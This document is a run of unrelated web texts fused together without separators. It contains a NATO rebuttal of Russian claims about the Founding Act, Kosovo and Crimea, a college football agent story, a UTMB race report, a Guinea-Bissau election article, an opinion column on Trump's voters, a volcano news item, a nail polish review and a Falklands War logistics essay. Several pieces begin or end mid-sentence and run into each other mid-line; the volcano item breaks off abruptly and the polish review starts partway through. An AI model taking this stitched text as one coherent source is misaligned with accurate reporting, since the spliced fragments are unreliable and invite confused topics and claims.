In the Founding Act, the two sides agreed that: "in the current and foreseeable security environment, the Alliance will carry out its collective defence and other missions by ensuring the necessary interoperability, integration, and capability for reinforcement rather than by additional permanent stationing of substantial combat forces. Accordingly, it will have to rely on adequate infrastructure commensurate with the above tasks. In this context, reinforcement may take place, when necessary, in the event of defence against a threat of aggression and missions in support of peace consistent with the United Nations Charter and the OSCE governing principles, as well as for exercises consistent with the adapted CFE Treaty, the provisions of the Vienna Document 1994 and mutually agreed transparency measures. Russia will exercise similar restraint in its conventional force deployments in Europe."
Therefore, both infrastructure and reinforcements are explicitly permitted by the Founding Act and therefore by Russia.
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Claim: NATO's response to Russia's illegal actions in Ukraine violates the Founding Act
Fact: NATO has responded to the new strategic reality caused by Russia's illegitimate and illegal actions in Ukraine by reinforcing the defence of Allies in Central and Eastern Europe, and by ensuring the ability to increase those reinforcements if necessary, including by upgrading infrastructure.
All this is consistent with the Founding Act, quoted above.
In the Founding Act, all signatories, including Russia, agreed on principles which include "refraining from the threat or use of force against each other as well as against any other state, its sovereignty, territorial integrity or political independence in any manner inconsistent with the United Nations Charter and with the Declaration of Principles Guiding Relations Between Participating States contained in the Helsinki Final Act" and the "respect for sovereignty, independence and territorial integrity of all states and their inherent right to choose the means to ensure their own security, the inviolability of borders and peoples' right of self-determination as enshrined in the Helsinki Final Act and other OSCE documents."
NATO has respected those commitments faithfully. Russia, on the other hand, has declared the annexation of Crimea, supported violent separatists in the east of the country, and insisted that Ukraine be barred from joining NATO.
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Claim: NATO nuclear exercises violate the Non-Proliferation Treaty
Fact: At the Wales Summit in September 2014, Allies reaffirmed their full support for the Non-Proliferation Treaty (NPT). NATO's nuclear posture is fully consistent with the treaty.
At no point has NATO moved nuclear weapons to Eastern Europe. There have been no NATO nuclear exercises in the eastern part of the Alliance since the end of the Cold War.
It is Russia that has started to use its nuclear weapons as a tool in its strategy of intimidation. Russia has increased nuclear rhetoric and stepped up its nuclear exercises. Russian nuclear-capable bombers are flying close to Alliance borders. Russia has also threatened to base nuclear-capable missiles in Kaliningrad and Crimea.
This activity and this rhetoric do not contribute to transparency and predictability, particularly in the context of a changed security environment due to Russia's aggressive actions in Ukraine.
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Claim: NATO promised Russia it would not expand after the Cold War
Fact: NATO Allies take decisions by consensus and these are recorded. There is no record of any such decision having been taken by NATO. Personal assurances from individual leaders cannot replace Alliance consensus and do not constitute formal NATO agreement.
NATO's "Open Door Policy" is based on Article 10 of the Alliance's founding document, the North Atlantic Treaty (1949). The Treaty states that NATO membership is open to any "European state in a position to further the principles of this Treaty and to contribute to the security of the North Atlantic area". It states that any decision on enlargement must be made "by unanimous agreement". NATO has never revoked Article 10, nor limited the potential for enlargement. Over the past 65 years, 29 countries have chosen freely, and in accordance with their domestic democratic processes, to join NATO. This is their sovereign choice.
In addition, at the time of the alleged promise, the Warsaw Pact still existed. Its members did not agree on its dissolution until 1991. The idea of their accession to NATO was not on the agenda in 1989. This was confirmed by Mikhail Gorbachev himself in an interview with Russia Beyond the Headlines:
"The topic of 'NATO expansion' was not discussed at all, and it wasn't brought up in those years. I say this with full responsibility. Not a single Eastern European country raised the issue, not even after the Warsaw Pact ceased to exist in 1991. Western leaders didn't bring it up, either."
Newly declassified White House transcripts also reveal that, in 1997, Bill Clinton consistently refused Boris Yeltsin’s offer of a ‘gentlemen’s agreement’ that no former Soviet Republics would enter NATO: “I can’t make commitments on behalf of NATO, and I’m not going to be in the position myself of vetoing NATO expansion with respect to any country, much less letting you or anyone else do so…NATO operates by consensus.”
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NATO's operations
Claim: NATO's operation in Afghanistan was a failure
Fact: NATO took over the command of the UN-mandated International Security Assistance Force in Afghanistan in 2003.
Under NATO's command, the mission progressively extended throughout Afghanistan, was joined by 22 non-NATO countries and built up from scratch an Afghan National Security Force of more than 350,000 soldiers and police.
Threats to Afghanistan's security continue. However, the Afghan forces are now ready to take full responsibility for security across the country, as agreed with the Afghan authorities.
NATO is providing training, advice and assistance to the Afghan forces through the "Resolute Support" mission.
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Claim: The NATO-led mission in Afghanistan failed to stop the Afghan drugs trade
Fact: As with any sovereign country, the primary responsibility for upholding law and order in Afghanistan, including as regards the trade in narcotics, rests with the Afghan government.
The international community is supporting the Afghan government to live up to this responsibility in many ways, including both through the United Nations and through the European Union.
NATO is not a main actor in this area. This role has been agreed with the international community.
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Claim: NATO's operation over Libya was illegitimate
The NATO-led operation was launched under the authority of two UN Security Council Resolutions (UNSCR), 1970 and 1973, both quoting Chapter VII of the UN Charter, and neither of which was opposed by Russia.
UNSCR 1973 authorized the international community "to take all necessary measures" to "protect civilians and civilian populated areas under threat of attack". This is what NATO did, with the political and military support of regional states and members of the Arab League.
After the conflict, NATO cooperated with the UN International Commission of Inquiry on Libya, which found no breach of UNSCR 1973 or international law, concluding instead that "NATO conducted a highly precise campaign with a demonstrable determination to avoid civilian casualties."
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Claim: NATO's operation over Kosovo was illegitimate
Fact: The NATO operation for Kosovo followed over a year of intense efforts by the UN and the Contact Group, of which Russia was a member, to bring about a peaceful solution. The UN Security Council on several occasions branded the ethnic cleansing in Kosovo and the mounting number of refugees driven from their homes as a threat to international peace and security. NATO's Operation Allied Force was launched to prevent the large-scale and sustained violations of human rights and the killing of civilians.
Following the air campaign, the subsequent NATO-led peacekeeping operation, KFOR, which initially included Russia, has been under UN mandate (UNSCR 1244), with the aim of providing a safe and secure environment in Kosovo.
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Claim: The cases of Kosovo and Crimea are identical
Fact: The Kosovo operation was conducted following exhaustive discussion involving the whole international community dealing with a long-running crisis that was recognized by the UN Security Council as a threat to international peace and security.
Following the operation, the international community engaged in nearly ten years of diplomacy, under UN authority, to find a political solution and to settle Kosovo's final status, as prescribed by UNSCR 1244.
In Crimea, there was no pre-existing crisis, no attempt to discuss the situation with the Ukrainian government, no involvement of the United Nations, and no attempt at a negotiated solution.
In Kosovo, international attempts to find a solution took over 3,000 days. In Crimea, Russia annexed part of Ukraine's territory in less than 30 days. It has sought to justify its illegal and illegitimate annexation, in part, by pointing to a "referendum" that was inconsistent with Ukrainian law, held under conditions of illegal armed occupation with no freedom of expression or media access for the opposition, and without any credible international monitoring.
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Claim: Russia's annexation of Crimea was justified by the opinion of the International Court of Justice on the independence of Kosovo (online (online here ).
Fact: The court stated that their opinion was not a precedent. The court said they had been given a "narrow and specific" question about Kosovo's independence which would not cover the broader legal consequences of that decision.
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Claim: The Ukrainian authorities are illegitimate
Fact: Ukraine's President Poroshenko was elected on 25 May with a clear majority in a vote which the OSCE characterized (report here) as showing the "clear resolve of the authorities to hold what was a genuine election largely in line with international commitments and with a respect for fundamental freedoms." The only areas where serious restrictions were reported were those controlled by separatists, who undertook "increasing attempts to derail the process."
The current parliament was elected on 26 October in a vote which the OSCE characterized (report here) as "an amply contested election that offered voters real choice, and a general respect for fundamental freedoms". It again pointed out that "Electoral authorities made resolute efforts to organize elections throughout the country, but they could not be held in parts of the regions (oblasts) of Donetsk and Luhansk or on the Crimean peninsula".
Finally, Russian officials continue to allege that the Ukrainian parliament and government are dominated by "Nazis" and "fascists." However, in the parliamentary elections, the parties whom Russia labelled as "fascists" fell far short of the threshold of 5% needed to enter parliament. Ukraine's electorate clearly voted for unity and moderation, not separatism or extremism, and the composition of the parliament reflects that.
In short, the President and parliament are legitimate, the actions of the separatists were not.
Back to topFAYETTEVILLE � Arkansas quarterback Tyler Wilson has chosen his representation for the 2013 NFL Draft.
Neil Stratton, who is president of the consulting service Inside the League, first reported via Twitter that Wilson had chosen CAA Sports and will train in Bradenton, Fla.
A source confirmed the report Monday.
CAA Sports is a well-known agency for professional athletes. It is a division of Creative Artists Agency, which is touted as the "world's leading talent agency."
NFL players represented by CAA Sports include quarterbacks Peyton Manning (Denver), Eli Manning (New York Giants), Matt Ryan (Atlanta), Tony Romo (Dallas), Philip Rivers (San Diego) and Drew Brees (New Orleans), according to its website. Other NFL clients include San Francisco LB Patrick Willis, Dallas TE Jason Witten, Minnesota RB Adrian Peterson, Miami OT Jake Long and Washington LB Brian Orakpo.
Wilson is expected to be among the top quarterbacks in the 2013 NFL Draft. He will train in Bradenton, Fla., in prepration for the 2013 Senior Bowl in Mobile, Ala., in January. Wilson also is likely to receive an invitation to participate in the 2013 NFL Scouting Combine later this winter.
Other outgoing Arkansas seniors are selecting representation for the NFL Draft as well this month. Tight end Chris Gragg said via Twitter last week he had signed with Joel Seagal, who also represents Tennessee RB Chris Johnson and Philadelphia QB Michael Vick.
� Robbie Neiswanger � Arkansas News BureauAt 9 pm Central European Time Sunday evening, a full week’s worth of races around Mont Blanc wrapped up as the headline event, The North Face Ultra-Trail du Mont-Blanc concluded in Chamonix, France. Last year’s race was a washout before being restarted the next day in Courmayeur. In the intervening year, the race saw numerous changes, including a few on race week and even once the race had begun.
The Weather
Prior to the race there was a good deal of talk among top competitors about the significant increases in compulsory gear the race organization placed on runners. Much less talked about was the fact that the race organization developed at least 11 route alterations as well as an enhanced capacity to deal with unanticipated events as they arise. Both of these changes came into play this year.
In the days before the race it became clear that foul weather would once again affect UTMB. In particular, a strong, but well-defined and fast-moving cold front would pass over Mont Blanc Friday late afternoon and evening. Given high confidence in the storm forecast, the race organization postponed the race 5 hours in hopes that the worst weather would pass before runners tackled the 2,500m (8,200′) passes at Col du Bonhomme and Col de la Seigne. In addition, prior to the race the final climb to Tete aux Vents and on through La Flegere was removed with the course re-routed down the valley via the course used in the race’s first three years. This reroute would make the course shorter and quite a bit faster.
The race started at 11:30 pm local time with great enthusiasm… and warm, steady rain in Chamonix. The rain picked up as runners climbed 2,000’+ to Delevret (mile 9) and descended to Saint Gervais (mile 13) before ending as the front of the field approached Les Contamines (mile 20). From there, the skies cleared the runners began the long, 4,000′ climb up Col du Bonhomme, the first of the courses four ~2,500m (8,000’+) peaks. In other words, the forecasters and race organization perfectly timed the break in the weather.
It was on Col du Bonhomme and the subsequent climbs to ~2,500m atop Col de la Seigne and Arete du Mont-Favre that the mandatory equipment really came into play. Runners who’d never worn waterproof pants while running did so early Saturday morning for warmth. Kilian Jornet donned every piece of clothing he had packed. Numerous runners considered wearing their emergency blankets and some likely did. The temperatures dropped well below freezing on the passes and snow covered the grass well below the passes and the ground froze hard once the skies cleared. In addition, exposed mountainsides could be quite windy. For example, permanent safety crew at Arete du Mont-Favre estimated 50+ mile per hour winds while it snowed… at 11 am Saturday morning.
In contrast, it felt quite warm in the afternoon in Courmayeur and Martigny. A number of runners have described this year’s UTMB as one of four seasons.
The night’s foul weather also damaged the Bovine aid station after Champex-Lac. Once it became clear during the race that the aid station could not service the field, the organization decided to divert runners down a huge descent into the town of Martigny and back up a steep climb. This change actually lengthened the race longer than the standard distance to 170k (105.6 miles) with more elevation gain and loss.
So why all the weather talk for a report on the world’s most competitive trail ultramarathon? Because it, in part, dictated the story of race. It took its toll on the elite field with an overall finisher rate 47% (1126 of 2369). Even many top veteran UTMB finishers failed to make it back to Chamonix on foot. While there’s no such thing as an easy 100 miler, this year’s UTMB was particularly difficult to finish.
Men’s Race
In the men’s race, the UTMB tradition of runners going out like mad continued in full force. How does 5 miles in 30 minutes at the start of a 100+ mile mountain trail race start? Yes, crazy would fit the bill. What’s even crazier is that it didn’t seem to phase the top contenders.
In arriving at Les Contamines (mile 20) following the first climb at Delevre, a group of Kilian Jornet, Geoff Roes, Miguel Heras, Mike Wolfe, Iker Carrera, and a couple additional European runners came through within a minute or two of one another.
The next 20 miles saw to huge climbs to Col du Bonhomme and Col de la Seigne and a surprise leader Nemeth Csaba at Lac Combal (mile 40). A minute back, a train of Sebastien Chaigneau, Wolfe, Heras, and Carrera with Jornet just behind.
Eight miles later, the men arrived in Courmayeur (mile 48), the symbolic midpoint in the race … though, in reality, it is still well before mid-race. Indeed, the race was far from beginning, although its principle contenders had packed up. Jornet, Heras, and Carrera, all three Salomon teammates from Spain (well, Kilian is technically from Catalonia and Iker from the Basque region), and Chaigneau of The North Face had put a three minute lead on Csaba and five minutes on Wolfe. Carlos Sa was 11 minutes behind the leaders.
These guys then settled in for a long run together. While they accordioned at times, they were never more than two or three minutes between first and fourth. Most of the time, they all ran together with the three Spaniards chatting away while Jornet and Chaigneau could carry on their own side conversation in French.
Heading down to Martigny (mile 85), a city added to the route mid-race, the pack held firm, but the tremendous and unplanned descent destroyed the cement that held the four together. Miguel Heras’ knee had been bothering him since well before La Fouly (mile 67 miles). As the group headed out for a tremendous (4-5,000′) climb, Heras told the group to go ahead as he could no longer hold the pace. He dropped at Trient (mile 90), the next major aid station.
Jornet then made his move to put two minutes on Carrera and seven minutes on Chaigneau by the top of the climb just over 3 miles after Martigny. Still, Carrera was only two and a half minutes behind Jornet at Vallorcine (mile 96) and 5 minutes ahead of Chaigneau. Jornet dawdled at Vallorcine and, apparently, let Carrera catch back up by Argentiere.
After the race, Carrera indicated that he caught his teammate on the descent to Argentiere, but he had no inclination to try to hang with Kilian up the subsequent climb. Rather, he would be content to run slightly more conservatively to increase his chances of holding off Chaigneau. Jornet later indicated that he wanted to finish with Carrera, but that he didn’t want Chaigneau to catch them, so he pushed the pace from Argentiere to the fnish.
In the end, Kilian Jornet won his third TNF UTMB in 20:36. Who knows how fast he could have run if he’d wanted to push the pace. His original plan had to bring the UTMB record under 20 hours. Instead, once he learned of the delayed start and course alterations, he decided to make an enjoyable run with his teammates. There are stories from throughout the race of Jornet waiting for his teammates at the top of hills or stopping to chat with spectators along the course.
Iker Carrera (20:45) put a bit more time on Sebastien Chaigneau (20:55) on the way to the finish. Nemeth Csaba (22:35) held his position from before Courmayeur until the finish, but moving up into fourth when Miguel Heras dropped. Carlos Sa rounded out the top five in 22:48.
Men’s Results
1 – Kilian Jornet (Spain) – 20:36:43 (pre-UTMB and post-UTMB video interviews)
2 – Iker Carrera (Spain) – 20:45:30
3 – Sebastien Chaigneau (France) – 20:55:41 (post-UTMB video interview)
4 – Nemeth Csaba (Hungary) – 22:35:48
5 – Carlos Sa (Portugal) – 22:48:24
7 – Tsuyoshi Kaburaki (Japan) – 23:41:04
11 – Mike Foote (USA) – 24:25:12 (post-UTMB video interview)
14 – Nick Pedatella (USA) – 25:51:33
21 – Jack Pilla (USA) – 27:35:26
26 – Mike Wolfe (USA) – 28:01:47
40 – Scott Jaime (USA) – 29:17:13
81 – Jason Poole (USA) – 32:27:54
T-371 – Hal Koerner (USA) – 38:55:39
T-371 – Roch Horton (USA) – 38:55:39
Full results
Women’s Race
In the women’s race, Lizzy Hawker led from the gun and continued building her lead from there. By mile 70, she developed severe hip pain and was unsure as to whether she would finish. She did finish and in 25:02, a mere 4 minutes off Krissy Moehl’s women’s course record. Despite gaining her record fourth UTMB win, missing the record leaves Hawker with a bit of unfinished business at the race. She plans on making another go if it at next year’s tenth edition of TNF UTMB.
Like Hawker, Nerea Martinez held second place for the vast majority of the race. Fernanda Maciel stayed within half an hour most of the day before dropping out at Champex-Lac, giving Martinez a good lead over Maud Gobert. Darcy Africa was the top American woman throughout the race, staying in the second half of the top ten through Champex.
After Champex, there was still 30 miles to shake up the women’s field. With 16 miles to go at Trient (mile 90), Martinez took a significant break, letting the women’s field close the gap. In contrast, Africa was reinvigorated by her crew at Champex-Lac and started charging forward despite residue fatigue from her second place finish at the Hardrock 100 in early July.
Much like she did at Hardrock, Africa ran out of real estate. With 9k (5.6 miles) to go at Argentiere, Martinez had an hour gap on the American. By the finish, Africa had cut that margin to 35 minutes. Martinez held on for second place in 27:56 while Africa moved up all the way to third with a finishing time of 28:31. Africa became the first person, man or woman, to place top three at both Hardrock and UTMB in the same summer. American Helen Cospolich hung tough and moved up via attrition to finish sixth in 30:28.
Women’s Results
1 – Lizzy Hawker (UK) – 25:02:00 (post-UTMB video interview)
2 – Nerea Martinez (Spain) – 27:55:34
3 – Darcy Africa (USA) – 28:30:28
4 – Denise Zimmerman (Switz.)- 29:26:39
5 – Maud Gobert (France) – 30:20:59
6 – Helen Cospolich (USA) – 30:27:37
Full results
DNFs
There were many DNFs at this year’s TNF UTMB. In the end, more than half the field dropped, including many top veterans of the race. It’s hard to underestimate the effect the weather, the delayed start, and the significant reroutes had on the racers. Having been on the course, at least the delayed start seems like quite the solid decision. There’s no doubt that major last minute changes can have a significant effect on the mind. I offer that not at all in criticism of the race organization, but to give perspective.
Race Reports
Race Resources and Articles
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So what did you think of this year’s The North Face Ultra-Trail du Mont-Blanc?
[While I normally don’t add something like this, please keep the discussion thoughtful, civil, and infused with the sense of camaraderie that the UTMB competitors show one another.]Ruling party candidate Malam Bacai Sanha is seen as the front-runner Guinea-Bissau has held a run-off vote to replace President Joao Bernardo Vieira, who was assassinated in March. The poll pits two former heads of state against each other - Malam Bacai Sanha, seen as the favourite, and Kumba Yala. Guinea-Bissau has a history of coups and its people say they are tired of broken promises and violence, a BBC correspondent reports. President Vieira was killed in March in apparent revenge for the death of the head of the army in a bomb blast. Mr Vieira led Guinea-Bissau for most of the period after independence from Portugal in 1974 - serving as president for a total of 23 years between 1980 and 2009. There were no reported incidents of violence during Sunday's voting, and turnout among the 600,000 registered voters was estimated to be similar to the first round at around 60%. 'Time has come'
Hoping for change in Guinea-Bissau The first round of polling on 28 June saw Mr Sanha win nearly 40% of ballots, 10% more than Mr Yala, the AFP news agency reports. When the two faced off in 2000, Mr Yala emerged as the winner. In their final campaign rallies, both men repeated promises to bring peace and stability to the country. Mr Sanha, who served as interim president from 1999-2000, is the candidate of the ruling PAIGC, the party of the 1970s struggle against Portuguese colonial rule. This is the third time he has stood for president, having been defeated once by Koumba Yala and in 2005 by Mr Vieira. His motto is "Hora Tchica" - meaning "the time has come". Koumba Yala oversaw a period of economic crisis Mr Yala, who was overthrown in a 2003 coup, is the leader of the opposition PRS. Many Bissau-Guineans hold him responsible for changing the political and economic course of the country for the worse, the BBC's Luis Cardador says. During Mr Yala's presidency, the IMF and the World Bank suspended aid to the country after accusations of mismanagement and a string of sackings in the government. But he is believed to have wide support within the military. Our correspondent says in past elections, voting has largely gone along ethnic or religious lines, but many people are now so fed up with the situation that this seems to be changing. Guinea-Bissau is cash-starved and heavily dependent on just one product - the cashew nut. In recent years it has become a major transit point in drug smuggling between South America and Europe.
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StumbleUpon What are these? E-mail this to a friend Printable versionOn Thursday, President Trump held a Rose Garden party for a bill that has not become a law. Earlier in the day, he signed an executive order ostensibly to give churches the ability to directly participate in electoral politics, but the order was so toothless the American Civil Liberties Union said it wasn’t worth the effort to sue. The following day, Trump signed into law a spending bill that including no money for his signature policy proposal: building a southern border wall.
As Trump compiles a record of failures, feints and half-finished work, his determined opponents anxiously await the moment when his voters will wake up and realize they have been conned.
It’s a moment that never comes.
Preeminent evangelical leader Franklin Graham, who attended the signing of the wispy order, raved on Facebook: “A lot was accomplished today at the White House on the National Day of Prayer. … I’m thankful we have a president who is concerned about religious liberty and isn’t afraid to speak the Name of Jesus Christ.” (Other Christian conservatives gently urged the administration to take more concrete action in the future.)
Trump’s biggest fans at his 100th day rally, in between chants of “build the wall,” were unfazed as the president said in passing, “You know, we've done so well at the border, a lot of people are saying, oh, wow, maybe the president doesn’t need the wall.”
Last month, the New York Times caught up with a former factory worker from Carrier, whose Huntington, Ind., job was shipped off to Mexico despite Trump’s pre-inauguration handshake deal with the company. Did she turn on Trump? Nope. “I support him 100 percent,” the 27-year employee told the paper. “He did his best.”
These anecdotes of unwavering support are backed up by polls. Trump’s overall approval numbers are historically low for a first-year president, but they remain sky-high among Republicans.
What that suggests is that Trump doesn’t have to “deliver,” in the traditional sense, in order to retain his base. There need not be amazing trade deals, coal plant ribbon cuttings or a shiny new tax code. They are satisfied with a president with whom they feel culturally in sync. And a large part of that connection stems from whom Trump likes to attack: the media, the Democrats and the “elites.”
As Rush Limbaugh said early last year, by way of explaining how someone who’s not “doctrinaire” was doing so well in the Republican primary, rank-and-file conservatives are not necessarily concerned with ideological principles and policy particulars. “The Republican conservative base is not monolithically conservative. … That’s not the glue that unites them all. … It’s this united, virulent opposition to the left and the Democrat Party and Barack Obama.”
The implication is that conservatives are more defined by what they oppose than what they support. That goes a long way to explain the visceral satisfaction we see at Trump’s re-election campaign rallies (yes, they are literally organized by Trump’s official re-election campaign). Trump fights opponents they want fought. His rhetorical punches land. Heads in the media explode. That’s more satisfying than signing some piece of paper.
Perhaps there is a breaking point. Simmering scandals boil over. The economy suddenly bottoms out. But it may well be that Trump and his voters have weathered so much turbulence already that the bond is unbreakable.
If true, that obviously complicates matters for Democrats. Trump’s approval numbers may be dangerously low for normal politicians. But Trump has already won without the most votes, thanks to the concentration of loyalists he has in key swing states. And so far, the loyalists appear to be staying loyal. Repeatedly trying to convince Trump voters they’ve been conned is likely to be an exasperating exercise.
But there’s a flip side to Trump’s constant feeding of base: his complete neglect of everybody else. Other presidents who have won without cracking 50 percent of the popular vote quickly moved to broaden their appeal and hedge against base erosion. Bill Clinton pivoted to deficit reduction, scrapping his signature middle-class tax cut, to win over Ross Perot voters. George W. Bush reached across the aisle to partner with Sen. Ted Kennedy on education reform and prescription drug benefits.
Trump, on the other hand, just called Senate Minority Leader Chuck Schumer “a bad leader … and his policies are hurting innocent Americans and making it easier for drug dealers to enter our country. … He's leading the Democrats to doom.” Don’t expect a grand bargain around infrastructure anytime soon.
Trump defied pundits like me who believed his base-only strategy couldn’t get him to the White House. And if you do it once, you can do it twice. But his insecure obsession with his winning margin indicates he knows the election was the squeakiest of squeakers. The barest trace of base erosion would bring about his doom.
Sure, the last Washington Post/ABC poll found that 96 percent of Trump voters don’t regret their 2016 ballot, further evidence of that bond. However, depending where the remaining 4 percent live, that slight weakening might be enough to seal his fate. FiveThirtyEight’s Nate Silver previously observed that a shift of “1 out of every 100 voters” from Trump to Hillary Clinton would have flipped four states and reversed the Electoral College count.
Trump has largely proven his early 2016 boast, “I could stand in the middle of Fifth Avenue and shoot somebody and I wouldn't lose voters.” He can also stand in the middle of the Rose Garden, show himself to be what he claimed to loathe -- an “all talk, no action” politician -- and not lose voters. The only problem is he may eventually have to win some new ones.Story highlights The National Weather Service issues an ashfall advisory
Latest readings say ash plume has risen to 37,000 feet -- nearly double previous height
The Pavlof Volcano, on Alaska's remote Aleutian Island archipelago, last erupted in 2014
(CNN) Alaska's Pavlof Volcano, which erupted unexpectedly over the weekend, continued to rumble and fling ash into the sky Monday, the Alaska Volcano Observatory said.
The ash plume is now 37,000 feet high and trails some 400 miles to the northeast over the Alaskan interior. Aviation alerts were up in the region.
Flying over Volcano eruption in Aleutian Islands A photo posted by Colt Snapp (@coltsnapp) on Mar 27, 2016 at 10:40pm PDT
Citing Kristi Wallace, a geologist with the observatory, CNN affiliate KTVA reported that the main concern is the ash cloud that has been growing since |
to impress and be the center of attention, ladies! Swatched over a clear base, used three coats, and sealed with a fast drying topcoat. Great formula and consistency. I'm happy to say it did not leave any staining despite it's heavy color pigmentation. I used three layers to achieve the desired amount of opacity. Definitely suggest using a topcoat to seal in the jelly goodness.Sunset Over the Sea is a glitter bomb filled with royal blue and navy blue holo glitters in various sized hexes. There's also a sprinkling of fuchsia, orange, and lavender hex glitters to give you the feel of a sunset over the ocean. I love the thought process behind the glitter combination, really cute. It's hard to pick a favorite in this collection but I'm pretty sure this one is it for me. I love myself a crazy glitter bomb and this one is fantastic. Swatched over a clear base, used two coats with the dabbing method, and sealed with a fast drying topcoat. I love how it looks without an undie but it would look equally as amazing if you decide to use one. I did find the base to have a bit of blue tint so it's not a completely clear topper. As always, make sure you use a topcoat to seal in this jelly sandwich.Frozen Drinks is another glitter bomb filled with bar glitters as well as large and small hexes in peach, pink, lime green, and neon yellow. This such a crazy glitter explosion! As much as I like it without a base color, I think you guys should definitely use an undie to showcase the glitters better. Swatched over a clear base on my index and pinky, used two coats with the dabbing method, and sealed with a fast drying topcoat. I used NYC Copabanana Nail Polish as a base for my middle two nails. I think yellow works as a nice base for this glitter bomb. Great formula and it gave me no trouble with the application. You have to use the dabbing method to apply but it's not an issue and applies pretty smoothly. No glitter fishing! It's actually quite awesome because I was fearful that from a mini bottle I'd have to fish but found myself pleasantly surprised.Crashing Waves is a clear glitter topper filled with lime and teal various sized hexes as well as white bar glitters and teal micro bar glitters. Another one of my favorite polishes in this collection. Finally a bar glitter polish done right. I used NYC Color's Amazon Green as a base and I think it suits it perfectly! Swatched over a clear base, used two coats with the dabbing method, and sealed with a fast drying topcoat. Formula was great and same consistency as the others in this set. Like the other glitter bombs, you have to use the dabbing method. Because there is no glitter fishing, you'll find that you only need to 'dab' on two layers and you have quite the glitter explosion on your nail.Overall this is a fantastic collection for the summer! It has everything you're going to want for your nails during all your adventures under the sun. Summer is all about fun, craziness, and colorfulness. The Caribbean Getaway by Heather's Hues showcases all these aspects while bringing you some interesting shades. Personally I think the glitters are definitely the highlight of the collection as they are different than a lot of the others I have reviewed this summer. I cannot express how impressed I was with the formula consistency. Nice smooth applications throughout this collection, so you cannot go wrong with whichever one you end up choosing.Some of these polishes are also part of the Perfect Polish Packs available in Heather's store. These packs come in a variety of pricing choices. The basic polish pack includes one full size polish of your choice (4 choices available) and 4 different sets of vinyls from Nails Redesigned for $19.00. I'll be doing a review on these vinyls tomorrow, so stay tuned!Follow Heather's Hues for latest product info, sales, and new releases:In late March 1982, a naval task force departed the shores of Argentina under the pretense of participating in an exercise with Uruguay. Days later it arrived offshore of the Falkland Islands, an archipelago in the South Atlantic with 1,850 inhabitants fiercely loyal to Britain. Falklanders went to bed the night of April 1 as free people. They awoke the next morning to sounds of gunfire as Argentine marines stormed across beaches, incarcerated the governor and the small Royal Marine garrison, declared a new government, and renamed the islands Malvinas. That afternoon, other Argentines overcame a small British force on South Georgia, 900 miles further east, and laid claim to it as well.
It was anything but a late April Fools’ Day joke. The invasion was the culmination of years of frustration over sovereignty of these islands and a series of bellicose activities in more recent months. The British government, however, did not connect dots leading to the invasion. And even when it became clear that Argentines were en route to invade, Prime Minister Margaret Thatcher’s closest advisors doubted British ability to retake the islands. Some thought it would take five months just to mount a sufficient force. But a lone admiral swayed the Iron Lady to take action, and what followed became a unique chapter in military history. Never had a nation assembled and deployed forces so quickly to fight a war so far away in an area where it had so little wherewithal. Britain was not ready for this war but still won.
Understanding challenges the British faced on the way to victory could not be more relevant today as the U.S. Department of Defense refocuses, as stated in the most recent Defense Strategic Guidance, on “its ability to project power in areas in which our access and freedom to operate are challenged…”
Although the United States has a long history of waging war beyond its shores, it has never deployed quickly and without considerable planning and preparation beforehand. Moreover, it has not launched forces across beaches in combat for more than 60 years.
In the 1980s and early 1990s, NATO militaries were accustomed to participating in exercises to retrieve prepositioned equipment and supplies and move them to assembly areas. Those high states of deployment readiness started to decline by the end of the last century. As force drawdowns took place in Europe, prepositioned equipment moved elsewhere, including to the Middle East. Strategic focus shifted from the ability to deploy quickly to almost exclusive attention on rotating sufficient number of trained units in and out of the Middle East.
The net result is that over the past two decades, Western militaries, that of the United States included, have no longer maintained the same readiness to deploy quickly to enforce political decisions. Units previously accustomed to conducting emergency deployment readiness exercises as a matter of routine concentrated on preparing soldiers for continuing military operations in established theaters from the start of this century until just recently. For logisticians this has meant disembarking planes on secure runways, offloading large container ships at fixed ports with cranes, moving containers down highways, and issuing supplies from well-stocked warehouses. Units have rarely deployed their own equipment; they have used equipment prepositioned in theater and rotated between other units. In most situations, contractors have maintained that equipment both before and after.
What happens when none of this exists, and a military has to travel thousands of miles, take everything with them, attack over a beach against a determined enemy, and then fight across rugged terrain without a single road, perhaps in winter? This is what the British faced in 1982, as well as an eventual 3:1 force disadvantage, and why Thatcher received such pessimistic advice. The head of the Royal Navy expressed confidence that his forces could handle Argentines at sea. Other senior military leaders and the minister of defence himself, however, remained pessimistic about Britain’s ability to wage war over such long distances with the many logistical challenges. All saw the need to achieve air superiority, something that later proved difficult and as a result costly.
To be sure, the British situation was more challenging than most know even today. With no troop ships and little other capability to move supplies and equipment on sea or in the air, Britain acted quickly to take up commercial ships from industry, eventually requisitioning 54 ships and converting them to meet military needs as transports, supply vessels, repair ships, minesweepers, a hospital ship, a water tanker and more. Government and industry collaborated quickly to modify them, completing work on most within four days. Simultaneously, as ships were being identified and moved to ports for modification, supplies poured out of depots as military units prepared and planned, not knowing which ships they would embark. Tonnage filled Britain’s highways because British Rail had no time to reposition cars.
Few knew anything about the Falkland Islands then, let alone what British forces would do upon arriving there. The Ministry of Defence had no contingency plans or even gridded maps of the islands. Just days after the Argentine invasion, though, an amphibious task group carrying 3,000 men with equipment and supplies sailed from England to link up with a newly formed carrier battle group heading south from the Mediterranean. The task force eventually grew to over 8,000 men and 100 ships. It was a remarkable display of national resolve and military-industry cooperation. That focus remained in place long after the war.
Such quick deployment understandably produced a lot of confusion. Ships showed up at ports for modification as unit supplies arrived to be loaded. Given shipping shortages, the British purposely loaded ships as full as possible with little regard for what might be needed first. Unit supplies became commingled and spread between multiple ships in the rush to load and depart quickly. The British knew they would have time to re-stow supplies on ships as the task force moved south. Most believed politicians would find a way to avoid conflict. Commanders started assessing options. Units trained aboard ships and at Ascension Island, a small volcanic outcropping midway between the United Kingdom and Falklands, which fortunately had a good runway. Training included how to disembark commercial vessels into landing craft and methods to stay alive on the battlefield. More supplies started pouring into Wideawake Airfield at Ascension before the first ships had departed British coastlines. Sorting out the congestion and shifting supplies to passing ships and between ships became a nightmare in the ensuing weeks.
The British retook South Georgia the end of April. Diplomatic efforts to resolve the situation continued for two more weeks. For most, likelihood of war was becoming apparent, especially with the sinking of the Argentine cruiser General Belgrano and then the British destroyer Sheffield the first week of May. On May 12, the task force received orders to repossess the Falklands.
